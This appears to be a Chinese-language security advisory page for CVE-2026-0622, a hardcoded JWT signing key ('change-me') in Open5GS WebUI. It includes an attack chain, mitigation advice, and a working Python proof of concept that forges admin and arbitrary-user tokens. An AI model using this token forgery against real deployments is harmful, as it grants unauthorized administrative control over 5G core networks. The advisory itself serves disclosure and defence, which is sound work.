IPBUF安全漏洞报告
English
CVE-2026-0622 CVSS 6.5 中危

CVE-2026-0622 Open5GS WebUI 硬编码JWT签名密钥漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-0622
漏洞类型
硬编码凭证
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS WebUI

相关标签

硬编码凭证Open5GSJWT弱加密密钥认证绕过5G核心网WebUI

漏洞概述

Open5GS是一个开源的5G核心网络实现,其WebUI组件存在严重的安全漏洞。该漏洞源于开发过程中使用了硬编码的JWT签名密钥"change-me",当环境变量JWT_SECRET_KEY未设置时,WebUI会默认使用这个弱密钥对用户令牌进行签名。JWT(JSON Web Token)是一种常用的身份认证机制,攻击者如果获取了签名密钥,就可以伪造任意用户的身份令牌,从而绕过身份认证系统。此漏洞无需任何特殊权限即可利用,攻击者只需通过分析开源代码或发送测试请求即可获取硬编码密钥。成功利用此漏洞后,攻击者可以获取WebUI的管理员权限,进而可能控制整个5G核心网络的配置和运行状态。由于Open5GS广泛应用于5G网络测试环境、研究项目和部分生产环境,此漏洞可能影响大量使用该组件的组织和个人。

技术细节

Open5GS WebUI使用Express.js框架构建,默认配置下使用硬编码字符串"change-me"作为JWT_SECRET_KEY的值。当应用程序启动时,如果检测到JWT_SECRET_KEY环境变量未设置或为空,就会回退到使用这个默认密钥。JWT的工作原理是通过签名验证消息发送者的身份,接收方使用共享密钥验证签名是否有效。在正常情况下,密钥应该是随机生成的强密码,只有服务器端知道。然而,Open5GS的硬编码密钥使得任何人都可以通过以下步骤伪造令牌:1)从开源代码或运行时环境获取密钥"change-me";2)使用HS256算法创建新的JWT,设置任意的用户名和权限声明;3)将伪造的令牌发送给WebUI服务器。由于服务器使用相同的硬编码密钥验证签名,伪造令牌会被接受。攻击者可以设置admin角色声明获取管理权限,或设置其他用户身份冒充他人。此漏洞属于OWASP Top 10中的"A02:2021-Cryptographic Failures"类别,与不安全的密钥管理直接相关。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者访问Open5GS WebUI的GitHub仓库或目标服务器,分析源代码发现硬编码的JWT密钥'change-me'
STEP 2
步骤2: 令牌构造
使用获取的硬编码密钥,通过HS256算法构造包含admin或任意用户身份的JWT令牌
STEP 3
步骤3: 认证绕过
将伪造的JWT令牌添加到HTTP请求的Authorization头中,发送给WebUI服务器
STEP 4
步骤4: 权限提升
服务器使用硬编码密钥验证签名成功,攻击者获得管理员权限或冒充其他用户身份
STEP 5
步骤5: 持久化控制
利用获取的管理权限修改5G核心网络配置、获取敏感数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-0622 PoC - Open5GS WebUI Hardcoded JWT Secret # This PoC demonstrates how to forge JWT tokens using the hardcoded secret import json import base64 import hmac import hashlib def base64url_encode(data): """URL-safe base64 encoding""" if isinstance(data, str): data = data.encode('utf-8') return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8') def create_jwt_hardcoded_secret(payload, secret="change-me"): """ Create JWT token using the hardcoded secret from Open5GS WebUI The secret 'change-me' is used when JWT_SECRET_KEY env var is not set """ header = { "alg": "HS256", "typ": "JWT" } # Encode header and payload header_encoded = base64url_encode(json.dumps(header)) payload_encoded = base64url_encode(json.dumps(payload)) # Create signature message = f"{header_encoded}.{payload_encoded}" signature = hmac.new( secret.encode('utf-8'), message.encode('utf-8'), hashlib.sha256 ).digest() signature_encoded = base64url_encode(signature) return f"{message}.{signature_encoded}" def forge_admin_token(): """Forge admin token to gain administrator privileges""" payload = { "sub": "admin", "role": "admin", "iat": 1737408000, "exp": 1737494400 } return create_jwt_hardcoded_secret(payload) def forge_any_user_token(username): """Forge token for any arbitrary user""" payload = { "sub": username, "role": "user", "iat": 1737408000, "exp": 1737494400 } return create_jwt_hardcoded_secret(payload) if __name__ == "__main__": print("=" * 60) print("CVE-2026-0622 PoC - Open5GS WebUI Hardcoded JWT Secret") print("=" * 60) # Forge admin token admin_token = forge_admin_token() print("\n[+] Forged Admin Token:") print(admin_token) # Forge arbitrary user token user_token = forge_any_user_token("attacker") print("\n[+] Forged User Token (attacker):") print(user_token) print("\n[!] Usage: Use these tokens in Authorization header:") print(" Authorization: Bearer <token>") print("\n[!] Target: http://<target>:3000/api/...")

影响范围

Open5GS WebUI < 2.6.5

防御指南

临时缓解措施
如果无法立即升级,可通过设置环境变量JWT_SECRET_KEY为强随机值(建议使用至少32字符的随机字符串)来临时缓解。确保该环境变量在所有运行Open5GS WebUI的服务器上正确配置,并重启服务使配置生效。同时,建议通过防火墙或VPN限制WebUI的访问,只允许授权的管理人员访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表